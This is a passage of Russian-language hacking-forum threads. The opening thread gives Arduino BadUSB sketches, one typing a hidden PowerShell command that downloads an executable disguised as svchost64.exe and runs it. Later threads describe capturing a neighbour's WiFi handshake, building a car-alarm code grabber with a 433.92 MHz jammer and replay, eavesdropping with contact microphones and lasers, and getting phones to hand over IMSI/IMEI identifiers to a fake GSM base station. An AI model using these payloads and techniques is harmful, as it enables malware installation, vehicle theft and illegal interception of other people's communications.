2. Подключаем плату к пк по юсб проводу.

photo_2022-11-29_16-21-06.jpg

3. Заходим в програму и вибираем нашу ардуинку в меню выбора порта

Screenshot 2022-11-29 162939.png
Готово ! теперь можем приступить к написанию скриптов.

Пишем скрипты

При поиске нормальных скриптов для ардуино вы получете одно говно , везде только скрипты на языке Rubber Ducky Script. Но в просторах интернета есть прекрасный сайт Duckuino , вставляете готовый Rubber ducky Script , и копируете полученный скрипт на С зделанный под ардуино!
Сервис очень хороший но иногда может криво сконвертироваться код.
При написании свого скрипта мы юзаем модуль Keyboard. Написание скриптов для Badusb атак не очень тяжелое дело , или иззучайте семейку С , или копируйте код)

Скрипт открывает консоль и выполняет введеную в 3 строке команду:

C:Copy to clipboard

#include<Keyboard.h>
#define KEY_DELAY 50
const char command [] = "" ;

void setup() {
  Keyboard.begin();
  delay(3000);
}

void loop() {
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  delay(KEY_DELAY);
  Keyboard.releaseAll();
  delay(KEY_DELAY*5);
  Keyboard.println("cmd");
  delay(KEY_DELAY*5);
  Keyboard.println(command);
  delay(100000);
}

Скрытое скачивание и запуск файла :

C:Copy to clipboard

#include<Keyboard.h>
#define KEY_DELAY 50
const char command [] = " " ;
void setup() {
  Keyboard.begin();
  delay(3000);
}

void loop() {
  //Pressing Win+r shortcut
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  delay(KEY_DELAY);
  Keyboard.releaseAll();
  delay(KEY_DELAY*5);
  Keyboard.println("powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('ваш сервак',\\\"$env:temp\\svchost64.exe\\\"); Start-Process \\\"$env:temp\\svchost64.exe\\\"\"");
  delay(KEY_DELAY*5);//A delay to ensure that cmd window has been started
  delay(10000000);
}

В 16 строке замените 'ваш сервак' на путь к файлу на серваку

Здесь мы розсмотрели два самых нужных скрипта для атак , пройдем к записи скриптов на плату!

Запись скрипта на плату​

1. Копируем код и вставляем в редактор Arduino IDE
Screenshot 2022-11-29 165655.png
2. Компилируем и загружаем код
Screenshot 2022-11-29 165846.png
3. Готово! тестим все ли работает.

Полный пакет взлома оборудования 2021
ID: 676535aeb4103b69df3735e7
Thread ID: 57018
Created: 2021-09-23T20:25:07+0000
Last Post: 2023-04-14T04:23:10+0000
Author: rrv321
Replies: 15 Views: 3K

собрано все что необходимо для прокачки вашего скила ???

hardware-hacking-hide01.ir_-1024x894.jpg

Аппаратный взлом - одна из тем, которая редко обсуждается на официальных курсах, но это по-прежнему один из наиболее важных методов, необходимых для хакеров, которые намереваются проводить полевые и физические атаки. Этот пакет включает видео с конференций, таких как DefCon , по данной теме, практические курсы, многочисленные книги, видео на Youtube и блоги.

В этом курсе вы изучите широкий круг тем, таких как

создание (Rubber Ducky) BAD USB,
атаки FPGA,
тестирование безопасности коммутаторов и маршрутизаторов,
подавление помех Wi-Fi,
прямые атаки на память,
атаки на мышь и многое другое

Click to expand...

В этот пакет входит более 40 часов обучающих видео и большое количество книг. Информацию о названиях курсов и книг в этом пакете вы можете посмотреть в видео этой статьи.

Hidden content for authorized users.

![dropmefiles.com](/proxy.php?image=https%3A%2F%2Fdropmefiles.com%2Fimages%2Fshare- logo_vk.png&hash=3f67b87028329be58fe8d4c73ccac7b9&return_error=1)

[ DropMeFiles – free one-click file sharing service

](https://dropmefiles.com/g0MFs)

Share your pictures, send large videos, exchange music or transfer big files. No registration required. Unlimited upload/download speed.

dropmefiles.com dropmefiles.com

Alfa awus 1900. Лучший адаптер для вардрайвинга!
ID: 676535aeb4103b69df3735ea
Thread ID: 80419
Created: 2023-01-21T21:03:55+0000
Last Post: 2023-04-08T22:08:57+0000
Author: Gufi
Prefix: Статья
Replies: 31 Views: 3K

При изучении вадрайвинга первым этапом работы есть выбор wifi адаптера для пентеста wifi точек.
Самым лучшим выбором на рынке будет адаптер alfa awus 1900.
Сегодня мы поговорим про бытовое использование адаптера , проблемы , плюсы и минусы.

Распаковка ​

В комплект входит:
-коробка
-инструкция
-адаптер
-4 антенны
-крепления
-кабель

99180139.700x800 (1).jpeg

Характеристики

Интерфейсы| USB 3.0
---|---
Диапазон частот| Двухдиапазонный 2,412-2.472 ГГц или 5.15-5.825 ГГц
Разъемы| 4×RP-SMA
Скорость передачи данных| 11ac: до 1300 Мбит/с (динамическая) 11g/n: до 600 Мбит/с (динамическая)
Антенна| Съемные, 2.4G / 5GHz двухдиапазонная дипольная антенна 5dB + возможность подключения внешних антенн
Беспроводная безопасность| 64/128bit WEP WPA (TKIP with IEEE 802.1x) WPA2 (AES with IEEE 802.1x) WPA Mixed
Чипсет| RTL8814U
Cовместимость| Windows 2000, XP, Vista, 7, 8, 10 Mac OS X 10.7-10.12 Linux

Первое подключение и установка драйверов

Драйвера:
Windows
MacOs
Linux

Установка под кали:
sudo apt install realtek-rtl8814au-dkms
find /lib/modules/uname -r/ -name "8814au.ko"
sudo reboot

Антенны​

В комплекте идут 4 антенны по 5dBi , работают на частоте 2.4 и 5 GhZ.
Антенны хорошие , возможна регуляция кута наклона антенны.
В идеале я советую купить 4 антенны [Alfa ARS-N19](https://alfa- network.eu/ars) по 9dBi , лучший вариант на рынке.

ars-n19_2-large.jpg Снимок экрана 2023-01-21 215633.png

Практическое применение ​

1.Запускаем кали
2.Ставим драйвера
3.Запускаем wifite
4.Видим точку Wifi2
5.Ловим хендшейк
6.Расшифровка хендшейка
итог - перехват соседского хендшейка за минуту (хороший дальнобой адаптера)

Плюсы и минусы​

Плюсы:
- Хороший дальнобой адаптера
- 4 антенны + возможность замены антенны
- Скорость передачи данных 11ac: до 1300 Мбит/с (динамическая) 11g/n: до 600 Мбит/с (динамическая)
- Режим монитора и режим инъекции пакетов
Минусы:
- цена
- не все тулзы поддерживают чип адаптера

Итоги :)

Адаптер хороший , из всех выборов лучший на рынке , для вардрайвинга самое то!
От себя очень советую!

photo_2023-01-21_21-55-07.jpg

Делаем Кодграббер своими руками
ID: 676535aeb4103b69df3735f8
Thread ID: 39360
Created: 2020-07-07T10:47:50+0000
Last Post: 2023-02-12T12:54:09+0000
Author: PROVODA
Replies: 15 Views: 3K

Всем привет!
Это комплекс, который содержит в себе кодграббер , пакета-анализатор и циничную глушилку, которая валит весь эфир на 433.92мГц. Проект выполнен на микроконтроллере PIC18F252 и LCD 3310. Комплекс предназначен для исследовательских целей, он позволит понять кое какие принципы работы охранных систем, также поможет разоблачить не добросовестных производителей автосигнализаций.

Давайте я по подробней опишу, как все работает. Начну с меню кодграббера, при включении прибора, на дисплее появится надпись «ВВЕДИТЕ КОД». Внизу мы увидим поле для его заполнения, курсор будет установлен на первую ячейку. Код состоит из 6 ячеек, вводимое значение будет от 0 до F. Думаю, для продвинутых юзеров не стоит объяснять, что пароль трех байтный, а это 256 умноженное на 256 и умноженное на 256 комбинаций, всего 16777216 комбинаций. В случаи неверного ввода, загорится надпись «ОШИБКА», которая будет моргать, после некоторого времени, устройство перейдет в запрос кода. По этому, кроме вас ни кто кодграббер не включит. После ввода пароля, загорится надпись «КОД ПРИНЯТ» и наш адрес «WWW.PHREAKER.US». Далее через несколько секунд, включится основное меню.

Меню будет содержать три закладки «КОДГРАББЕР» «АНАЛИЗАТОР» «ПОМЕХА» и логотип форума. Нужную функцию мы будем выбирать джостиком-курстором, который будет сделан из пяти кнопок. Перемещая кнопкой стрелки указатели, мы выбираем любую из трех функций. Чтобы включить выбранную функцию, мы нажимаем кнопку в середине джойстика.

Например, мы выбрали функцию «ПОМЕХА», на дисплее загорится надпись «РЕЖИМ ПОМЕХИ» «ЧАСТОТА 433.92» «МОДУЛЯЦИЯ» и «50 ГЦ». Чтобы переключить частоту модуляции глушения эфира, нужно джойстиком нажать вниз, шаг регулировки помехи 50Гц, ее можно менять от 50Гц до 600Гц. Что бы выйти в основное меню, можно нажать любую из боковых кнопок джойстика, левую или правую.

Режим анализатора включается аналогично, просто наводим стрелки и жмем джойстик в середину. После входа в это меню, нас ждет небольшая анимация, сверху в низ начнут появляться знакомые вам надписи, <=COD <=HOP <=FIX <=BUT и логотип форума, все! анализатор ждет пакета, эфир сканируется. После перехвата кода, а он определяется автоматически, кодграббер отобразит в верхней строчке принадлежность перехваченного пакета. Например, KEELOQ <=COD или STARLINE <=COD. При попадании нового кода, старый им замещается. Выход из анализатора, так же боковыми кнопками, любой.

Теперь заходим в меню кодграббера, загорится надпись «СКАНИРОВАНИЕ» «ВКЛЮЧЕНО» «433.92» и наш логотип, в этой закладке вас также встретит анимация. Внизу пробежит черная полоска и после того, как она будет исчезать, она откроет нам надпись «WWW.PHREAKER.US». После этого кодграббер ждет посылку, как только в эфире появится пакет от пульта, кодграббер пускает помеху и сразу на дисплее выводит надпись «ПРИНЯТ ПАКЕТ». Двумя строчками ниже загорится шифрованная часть первой посылки. Далее кодграббер будет находится в ожидании второй посылки, где то около 5 секунд, если она придет, то в нижних строчках загорится вторая шифрованная часть и ниже серийник с нажатой кнопкой. Все, две посылки мы сграбили! Самая фишка, это то, что после приема двух пакетов, в самой нижней строчке, будет гореть индикатор эфира, если нажать на пульт, то мы увидим, что шкала темнеет, все происходит довольно динамично. По этой шкале можно судить о том, что идет ответ от машины к пульту, когда мы будем ее открывать кодграббером.

Что бы выпустить перехваченные коды из кодграббера, достаточно нажать джойстик по середине, внизу загорится надпись «ОТПРАВКА КОДА». Напротив первого хоппинга и серийника загорятся стрелки, это в эфир пошел первый пакет, затем загорятся стрелки на против второго хопинга и серийника, это в эфир пошел второй перехваченный пакет. Выйти из этого меню можно также левой или правой кнопкой джойстика. Если пакет не побился, в силу каких то обстоятельств, то надпись на дисплее будет замещена новым пакетом, который пройдет в эфир. Во время ожидания второго пакета, это в течении 5 секунд, из меню выходить нельзя, так как программа отрабатывает эфир, а не сканирование кнопок джойстика! На функцию кодграббера будут наложены небольшие ограничения, так как этот проект направлен на исследовательские цели в первую очередь.

Скажу честно, программа еще не доработана, особенно в плане дизайна, это оказалось намного сложнее, чем я думал. Полноценная версия будет размещена в закрытом разделе, как только я ее закончу. Пароль входа в кодграббер, я буду давать лично, когда увижу, что вы этот проект реально воплотили в железе! На случай моего преждевременного ухода, дубликат ключа будет у exchange! Фотографии меню я прилагаю, все более чем наглядно. Прошивка будет ориентирована на китайскую версию LCD 3310. В ближайшее время я выложу еще дубликат этой прошивки, но для оригинального дисплея, что бы вы смогли беспрепятственно все воплотить, при наличии любого дисплея в вашем магазине.

Приемник и передатчик подключаем любой на 433.92мГц, уровень входа и выхода 5в. Кнопки

джойстика программно подтянуты к +5в, соответственно при нажатии сажаются на землю (ноль).

Приемник PORTC,5 -16 нога контроллера.

Передатчик PORTC,6 -17 нога контроллера.

Центральная кнопка джойстика PORTB,0 - 21нога контроллера.

Вверх PORTB,1 – 22 нога контроллера.

Вниз PORTB,3 – 24 нога контроллера.

Вправо PORTB,2 – 23 нога контроллера.

Влево PORTB,4 – 25 нога контроллера.

Питание LCD только от контроллера!!!!

Питание LCD PORTC,0 - 11 нога контроллера.

Ресет LCD PORTC,1 - 12 нога контроллера.

Линия DC в LCD PORTC,2 -13 нога в контроллере.

Линия данных в LCD PORTC,3 – 14 нога в контроллере.

Линия тактирования в LCD PORTC,4 -15 нога в контроллере.

Землю (общий провод) LCD, берем в произвольном месте.

![](/proxy.php?image=http%3A%2F%2Fwww.elektrik- avto.ru%2F02%2Fs01922798.jpg&hash=542bb0b96783491390b10130151b4347)

![](/proxy.php?image=http%3A%2F%2Fwww.elektrik- avto.ru%2F02%2Fs43584520.jpg&hash=b675ff9b6cb7a9167c72bbb88dba70d5)

![](/proxy.php?image=http%3A%2F%2Fwww.elektrik- avto.ru%2F02%2Fs53303281.jpg&hash=8b9fcfa895f3ee4bdfdd7bcf1399d423)

![](/proxy.php?image=http%3A%2F%2Fwww.elektrik- avto.ru%2F02%2Fs66401420.jpg&hash=8d8f059f5b5af6bd03b00995a8625ba1)

![](/proxy.php?image=http%3A%2F%2Fwww.elektrik- avto.ru%2F02%2Fs92062664.jpg&hash=f06a821ecd3d1fd09ae97fcca73ecf30)

![](/proxy.php?image=http%3A%2F%2Fwww.elektrik- avto.ru%2F02%2Fs57380588.jpg&hash=16d26ad2595e6ff89a463e9cba11c40e)

![](/proxy.php?image=http%3A%2F%2Fwww.elektrik- avto.ru%2F02%2Fs00733048.jpg&hash=de161e268ef2bd14d75b5200f50d02b3)

![](/proxy.php?image=http%3A%2F%2Fwww.elektrik- avto.ru%2F02%2Fs47813283.jpg&hash=926bdd276404ef198182c48b818b8890)

![](/proxy.php?image=http%3A%2F%2Fwww.elektrik- avto.ru%2F02%2Fs48994681.jpg&hash=36cec9c40f64e278d717e08e34b36f10)

![](/proxy.php?image=http%3A%2F%2Fwww.elektrik- avto.ru%2F02%2Fs57670249.jpg&hash=3ecd37609ef4d384e9358f0b71d80270)

![](/proxy.php?image=http%3A%2F%2Fwww.elektrik- avto.ru%2F02%2Fs22461953.jpg&hash=b0d66d690106806aa472ae3438e7773c)

![](/proxy.php?image=http%3A%2F%2Fwww.elektrik- avto.ru%2F02%2Fs06875360.jpg&hash=11ecd7276d0919ac72a193b1e04aa1ac)

Схема ПУБЛИЧНАЯ!!!!!!!!!!1594118679300.png1594118474000.png
Удачи в сборке

Шпионские устройства для контактного и бесконтактного получения информации
ID: 676535aeb4103b69df3735f9
Thread ID: 40507
Created: 2020-08-05T13:38:43+0000
Last Post: 2023-01-20T03:04:21+0000
Author: ve1
Prefix: Статья
Replies: 1 Views: 3K

scsdyhvacmsvqt-bkqemtainz_4.jpeg

Делаем шпионское устройство своими руками из подручных средств

Существует множество различных способов шпионажа. Наверняка каждый из вас слышал о прослушивании с помощью лазера, либо через батареи отопления, либо при помощи микрофонов вмонтированных в стены здания. И всё это окутано каким- то мистическим смыслом, хотя на самом деле это просто и доступно для понимания и повторения каждым. А главное, все собирается из подручных средств.

Когда-то в лохматых годах, в одном популярном IT-издании писал подобную статью, но, наверное, толком не раскрыл сути, как именно это работает и как применять такие устройства. Да и будем честны, тот вариант, что я приводил в статье выглядел круто, но был не очень работоспособным.

zwom79xkkcp3v3h93zxua1xeaxe.jpeg

«Шпионское» устройство того времени​

В результате решил его изготовить сам и продемонстрировать, как это работает.

Важно!

Прежде чем мы пойдем дальше, надо понимать, что изготовление и использование шпионских устройств подпадает под статьи:

Таким образом, всё что представлено в статье лишь демонстрация возможностей, служит исключительно для ознакомления! Надо хорошо понимать, что повторение и использование методов, описанных в данной статье, может привести к вполне реальным срокам заключения.

За себя скажу, что никоим образом не пытался ни за кем шпионить, так как считаю это, как минимум неэтичным. Игрался просто в комнате и на кухне, записывая сам себя. Не шалите, я предупредил!

Готовим железо

Устройство, которое мы будем делать, называется банально контактный микрофон. Оно никак не запрещено, инструкций по его изготовлению в интернетах море, но мало кто знает, что его можно использовать для негласного получения информации. Для его изготовления нам понадобится: пьезодинамик на голосовые частоты (любой, работающий в диапазоне между 300 и 3400 Гц), согласующий резистор, немного проводов и может быть даже паяльник, но поначалу я обходился даже без него. Все было приобретено в известном бутике для радиолюбителей.

avkprkwjs_jwi1awven_unmrods.jpeg

Исходники​

В качестве записывающего устройства я хотел использовать мобильный телефон. Но, как оказалось, он определяет гарнитуру по сопротивлению. Этих резисторов у меня не оказалось, а второй раз ехать в модный бутик было лень. Однако же я расскажу о том, как это сделать, мало ли кто захочет мистические звуки записывать — это вполне легально. Надо собрать эквивалентную схему гарнитуры.

rxylze7fl7iybxewsprvctuuvps.png

Электрическая схема гарнитуры телефона​

Таким образом, чтобы телефон определял наш контактный микрофон, надо на место динамиков впаять резисторы 30 Ом, а на место микрофона параллельно пьезодинамику резистор 1,5 кОма. Почему так, расскажу чуть позже.

Я же для своих опытов выбрал старый кассетный магнитофон, который по воле случая откопал на антресолях. Наш контактный микрофон мы будем подключать вместо аудиоголовки одной из кассет. При всей несуразности этого решения, у него один громадный плюс: очень высокая чувствительность, ведь головка должна регистрировать еле заметные магнитные пульсации аудиокассеты. И мы получаем готовый усилитель.

4js36lajghua2socwlkurun92wu.jpeg

Подопытный​

Для записи аудио с большим трудом в центре Москвы удалось купить аудиокассету. Чистые кассеты стоят как чугунный мост, пришлось купить с записью.

bnk93tu5ksl6gjc74oy9dqshaay.jpeg

Честно прослушал обе стороны этой кассеты, вытирая ностальгические слезы с лица и кровь с ушей. В результате сделал вывод, что будущее поколение ничего не потеряет, если я ее сотру.

Разбираю магнитофон и внутри вижу как три головки (одна для записи), приходят на материнскую плату магнитофона. Головки для воспроизведения имеют три контакта: левый, правый и землю (обычно оплетка). Левый и правый канал объединяю, а землю точно так же бросаю на оплетку. Провода обязательно следует использовать экранированные, иначе будет очень сильный гул наводок (у нас же высокочувствительный усилитель).

50j1mvgieigzkt0at-u_bapmmfy.jpeg

Препарируем подопытного​

5veksy0w00bclm8v-5hyd0rldb4.jpeg

Разъем подключения головки​

Из подручных материалов изготавливаю разъем вместо штатной головки правого кассетника, устанавливаю ее на место.

jvab7gmczzlvauwiod6gbpr8jke.jpeg

Готовый разъем​

Теперь поговорим о датчике. Немного теории уровня школьной физики. Магнитная головка, как можно догадаться из ее названия — это катушка индуктивности очень малого сопротивления. Когда идет протяжка ленты, в ней наводится очень малая ЭДС и попадает на усилитель. Фактически магнитную головку можно представить как источник напряжения последовательно с сопротивлением. Пьезодинамик — это, по сути, конденсатор с очень большим омическим сопротивлением (можно считать равным бесконечности), который является источником тока и дает ток независимо от сопротивления. Кстати поэтому пьезоэлементы нашли применения в зажигалках: они дадут строго малый ток, независимо от сопротивления воздуха, тогда как напряжение может расти до огромных размеров.

Я отвлекся. Моя задача была сделать эквивалентную схему магнитной головки (читай ЭДС+сопротивление) из источника тока. Те, кто хорошо знают Теоретические Основы Электротехники, понимают о чем я. А те, кто не понял, смотрите схему ниже.

nmmx8lktwxvaybpkasnml22zwpq.png

Эквивалентная схема​

Таким образом, достаточно припаять эквивалентное сопротивление параллельно с пьезодатчиком и дело в шляпе. В моем случае это было около 50 Ом. Но буду честен, я припаял первый попавшийся резистор в доме, но он работал.

ngnennccdwcowa7l24emmacihqa.jpeg

Наш готовый контактный микрофон​

Все готово к злобным экспериментам!

Демонстрация работы

Лучше один раз увидеть и услышать, как это работает, чем тысячу раз прочитать. Поэтому вот видео, а далее мы разберем как же все это функционирует.

В этом видео я разобрал основные принципы шпионажа. Все они основаны на том, что тела вибрируют из-за звуковых колебаний. Конечно, вибрация происходит на частоте собственных колебаний, но если математическим фильтром или аналоговым фильтром убрать ее и нормализовать сигнал, то можно получить исходный голосовой сигнал. На этом принципе основан шпионаж с помощью коммуникаций или микрофонов, встроенных в стены, шпионаж посредством лазерного съема колебаний стекол, съема колебаний осветительных ламп и даже знаменитое шпионское устройство в посольстве США. Давайте подробнее разберем все эти методы.

Прослушивание посредством перехвата колебаний света лампы

Есть отличная [статья](https://www.zdnet.com/article/lamphone-attack-lets- threat-actors-recover-conversations-from-your-light-bulb/) (англ.), которая описывает принцип работы и демонстрирует видео подобного шпионажа.

btzg5oksgxl_wdk08yjqhaqjjqk.png

Скриншот из видеодемонстрации​

В своем видео я уже описывал принцип работы. Можно использовать тот же самый микрофон, только заменить пьезодатчик с резистором, на фототранзистор или фоторезистор (может понадобится дополнительное питание), либо просто солнечную батарею. Возможно, я бы повторил данный эксперимент, но отсутствует оптика. Поэтому расскажу сугубо теоретически.

dg0wvifiglgvcnkh-sca9kxhu4u.png

Плафон любой лампы имеет частоту собственных колебаний. Когда мы говорим рядом с ним, мы возбуждаем его колебания. Визуально нам их не видно, но с улицы вполне можно зафиксировать эти колебания с помощью телескопа, освещать им любой оптический датчик и оцифровать. Можно было бы и камеру приладить, но она должна снимать не менее 22 000 кадров в секунду. Поэтому берем просто любой фотоэлемент. Потом эти данные мы оцифровываем. фильтруем, нормализуем удаляем шумы и получаем оригинал. Метод фильтрации подходит для всех остальных методов негласного получения информации. В любом случае всем рекомендую ознакомится со статьей подробнее.

Шпионаж с помощью лазера и окна

Метод легендарен и стар. Но весьма прост и доступен любому школьнику. Берем то же устройство, как в предыдущей главе. Только вместо телескопа у нас лазер.

2_a2xsdnsd0pifurbqqqawb1akq.png

Человек находится в помещении, разговаривает, а стекло в окне вторит его речи на частоте собственных колебаний. Облучаем стекло лазерным лучом и обратно его принимаем. Далее алгоритм вы знаете. Проблема этого метода очевидна: не всегда есть место для корректного размещения источника лазера и приемника. Поэтому он не очень активно применяется и используется только там, где позволяет местность.

Метод прослушивания через коммуникации

Вообще без всяких технических средств, приложите ухо к вашей батарее в будний день, когда орут дети у соседей, лают собаки и т.д. И окажется, что трубы, даже будучи вмурованные в стену, прекрасно передают звук.

uil-1mjd6qa7vck5f731c0c_v7a.png

Батарея начинает резонировать на частоте собственных колебаний, а металл прекрасно передает звуковые волны на очень дальние расстояния. Дальше нужно хорошо закрепить датчик. Кстати, мой метод крепления с помощью магнита не самый лучший. Надо, чтобы пьезодатчик имел прижим массой, так чтобы он хорошо деформировался от колебаний; и таким образом, чтобы площадь его контакта была максимальной. В моем случае он контачил небольшим участком как с лампой, так и с батареей. Думаю поэтому звук был не очень хороший.

Снятие колебаний предметов с помощью радиоволн

Может показаться, что это нечто из разряда фантастики. Но тем не менее таким образом, осуществлялся знаменитый шпионаж за посольством США, когда пионеры подарили послу герб и он его повесил в своем кабинете. А в данном гербе был жучок, который не имел никаких электронных устройств.

guf9mjokibkuqqelw_mqxijmwsw.jpeg

Знаменитый шпионский герб​

На Хабре уже была статья про данный жучок, но там очень скудно рассказано о принципах его действия. Устроен он весьма просто.

jkcfkpdxptlwodzkv14mjhf0kbe.jpeg

По сути, мембрана улавливает звуковые колебания и меняет геометрию антенны! В доме напротив стоит передающие устройство, которое вещает на частоте 330 МГц. Просто генерирует чистый синус. Принимающая антенна, облучается этим полем, меняет свои геометрические размеры и переизлучает модулированное эхо. Все, остается только принять это. Данный принцип называется “высокочастотное навязывание”. Лучше всего принцип действия этого шпионского устройства можно посмотреть в указанном ниже видео.

Таким образом, даже вязальная спица, если она правильно закреплена и имеет определенную длину, может быть шпионским устройством. И это не ирония или попытка запугать, а суровая реальность.

Домашнее задание

Хотите почувствовать себя настоящим шпионом, не вставая с дивана? У меня есть игра для вас. Специально для вас записал речевое выступление, с закрепленным контактным датчиком на лампе.

7ntnfb-tut8gpd-kghqvlaaafxg.png

Звуковой файл и программа для опытов

Задача разгадать что же я там говорю. Стенограмму присылать не нужно, можно просто назвать в комментариях произведение, которое я зачитываю. Сам файл тут.

Мне кажется, любой звукорежиссер сможет сделать это легко. В самом начале я специально щелкаю по лампе (на скрине перегрузки вначале) для того, чтобы вы смогли определить частоты собственных колебаний лампы, а потом выделить мой голос. Удачи!

Как жить дальше?

Если у вас нет паранойи, то это не значит, что за вами не следят!

uzfqt6kud2umxolp2dl4loplhwa.jpeg

«Родина слышит» худ. Вася Ложкин​

Что делать, чтобы за вами не следили? В серьезных организациях переговорные комнаты для особо важных совещаний делаются магнитозащищенными, а так же обкладываются звукопоглощающими материалами и не имеют окон. Однако про нас с вами, можно сказать словами из анекдота про неуловимого Джо: да он просто нахрен никому не нужен. Мне кажется, не стоит думать, что за всеми нами следят. А если и следят, то есть более простые способы слежки, у вас, у каждого в кармане такой чудесный жучок лежит и все кому нужно все о вас знают. Не переживайте и спите спокойно.

Автор: Сергей @dlinyj
habr.com

Странности организации 2G GSM сети у Мегафона
ID: 676535aeb4103b69df3735fe
Thread ID: 54959
Created: 2021-08-06T20:17:57+0000
Last Post: 2022-12-29T11:01:01+0000
Author: gliderexpert
Prefix: GSM
Replies: 24 Views: 3K

Добрый день!
Может быть тут есть специалисты, способные подсказать - почему телефон при запросе identity request а сети мегафон после запроса на location update - не передает данные IMEI/IMSI ?
МТС или Билайн при запросе location update дает идентификатор tIMSI , дальше я отправляю на MS запрос identity request и телефон передает в ответ свой IMSI и IMEI , но почему-то это не работает в сети мегафон. Куда копать-что смотреть- куда пинать MS чтобы получить идентификаторы?

Отдельный вопрос про Cell Reselection . В Мегафоне он устроен явно не так как в мтс или билайн. Где-то можно почитать подробности, или может у кого есть знакомые из технической службы мегафона, которые могут пролить свет на некоторые технические моменты организации сети?
// при запуске псевдобазы с правильными mcc-mnc-lac-cid-arfcn-cro и т.д. абоненты мтс или билайн исправно на нее переключаются, но с мегафоном не срабатывает до тех пор пока принимается хотя бы один легитимный канал оператора. Причем судя по параметрам сети network assisted cell selection выключен, но вот выглядит все так как будто реселектом управляет сеть...

Flipper Zero
ID: 676535aeb4103b69df373605
Thread ID: 42143
Created: 2020-09-16T11:45:37+0000
Last Post: 2022-12-04T22:58:35+0000
Author: fastfire
Replies: 9 Views: 3K

Has anyone already tried this tool in advance (https://flipperzero.one/zero)? Is there anyone in the forum following its development? It seems to promise to do some very interesting things ...

Оперативный мониторинг частот
ID: 676535aeb4103b69df373607
Thread ID: 27975
Created: 2019-02-20T14:50:07+0000
Last Post: 2022-11-30T03:12:45+0000
Author: utrom
Replies: 1 Views: 3K

Уже знакомый читателям зарубежный автор Sparks31 пишет о проведении радио- разведки силами нескольких человек непосредственно на месте происшествия. Чем глубже раскрывается вопрос такой деятельности, тем более явно обозначается потребность в специализированном оборудовании, начиная с телевизионных тюнеров rtl-sdr и далее до профессиональных приборов.


Бывают ситуации, когда читатель присутствует непосредственно на месте событий, и ему требуется определить объёмы использования радиочастотного спектра. Объекты интереса могут включать в себя базовое, мобильное и портативное оборудование в типичном диапазоне от 25 МГц до 1,3 ГГц.

В Соединённых Штатах изучение открытых источников в 99% случаев позволяет выяснить частоты, используемые в конкретной местности. Основным источником служит интернет-ресурс FCC, федеральной комиссии по связи. Исследователь может ввести широту и долготу интересующего места, и получить список зарегистрированных в FCC частот для точки с этими координатами. Это не касается федеральных правительственных радиопередатчиков, любительских ретрансляторов и передатчиков, которые по какой бы то ни было причине лицензии не имеют. Этот способ также не даст сведений, какие частоты активно используются в данном месте. Чтобы узнать это, исследователь должен провести полевые изыскания.

Наиболее распространённый инструмент, используемый для оперативного, на месте событий, определения частот - это полицейские сканеры с возможностью поиска близких источников излучения. Они известны под торговыми наименованиями "Close Call" (производитель Uniden/Bearcat), "Signal Sweeper" (Whistler), и "Signal Stalker" (Radio Shack). В рамках данной статьи примем, что они все действуют сходным образом, и будем упоминать о них как о "CC/SS". С мобильной антенной для сканера, производства Radio Shack модели #20-032 или подобной, оператор может принимать сигналы с высоты нескольких этажей в зоне прямой видимости до мили, используя функцию CC/SS. Более занятые частоты будут засечены в первую очередь. Менее активные потребуют больше времени на поиски. Некоторые сканеры с функцией CC/SS способны автоматически сохранять в память находки, добытые с помощью CC/SS. Сканер с такой функцией может быть скрытно оставлен на месте действия, и извлечён позднее.

Недостатки использования сканеров с CC/SS следующие:

Лучшим решением будет использовать пишущий цифровой частотомер, такой, как Optoelectronics Digital Scout. Он имеет перекрытие по частоте от 10 МГц до 2,6 ГГц. В дополнение к отслеживанию аналоговых сигналов, он может определять сигналы TDMA, GSM, ППРЧ, APCO 25 (P25), амплитудную манипуляцию, TETRA, пульты дистанционного управления и другие импульсные ВЧ- сигналы. Он может отследить ВЧ-всплеск длительностью 300 микросекунд, и понимает почти любую модуляцию. В спецификации не указано, но сигналы DMR и NXDN (IDAS / NEXEDGE) тоже по силам Скауту.

Цифровой Скаут имеет тысячу каналов памяти, и может записывать в неё находки. Он может перестраивать на пойманные им сигналы (так называемый процесс Reaction Tuning) следующие модели приёмников:
Icom PCR1000
Icom R10
Icom R20
Icom R7000
Icom R7100
Icom R8500
Icom R9000
AOR AR8000
AOR AR8200

Optoelectronics Optocom
Optoelectronics OS456/Lite (для Radio Shack PRO-2005 и PRO-2006)
Optoelectronics OS535 (для Radio Shack PRO-2035 и PRO-2042)
Optoelectronics R11

Optoelectronics также производит детекторы поля ближней зоны, действующие таким же образом, как сканеры с CC/SS, но с полным перекрытием радиочастотного спектра. До появления сканеров с CC/SS, любители радиоразведки использовали такие приборы, как Optoelectronics Xplorer. Это прибор, рассчитанный только на модуляцию FM, с перекрытием по частоте от 30 МГц до 3 ГГц. Изделия Optoelectronics принадлежат к испытательному оборудованию более высокого уровня, нежели начальный, и превосходят по своим возможностям сканеры с CC/SS.

Фирма AOR предлагает к своему приёмнику AR-8200MK3 расширение его возможностей, позволяющее демодулировать передачи в формате APCO/P25. С такой функцией, доступной в высококачественном связном приёмнике, оптимальным сочетанием будет подключенный к нему частотомер, а именно Digital Scout. Объединённые возможности определения цифровых сигналов, весьма широкого перекрытия по частоте, и демодулирования P25 делают эту систему весьма подходящей для определения, отслеживания и демодулирования близкорасположенных ВЧ сигналов.

Автор экспериментировал с определением сигналов в ближнем поле с тех пор, как Radio Shack представил свою модель портативного частотомера #22-305 в середине 1990-х. За прошедшие 20 лет через его руки прошли частотомеры Radio Shack, изделия Optoelectronics, сканеры с CC/SS. Опыт показывает, что самым гибким сочетанием является частотомер Optoelectronics Scout, подключённый к портативному широкополосному связному приёмнику, чтобы перестраивать его на пойманные сигналы.

Отличное устройство в связке )

Вне зависимости от конкретного производителя и модели оборудования, находящегося на руках, иметь возможность прибыть на место и выявить интенсивность радиообмена - необходимая функция радио-разведки. Это должна быть задача, которую вы безусловно сможете выполнить.

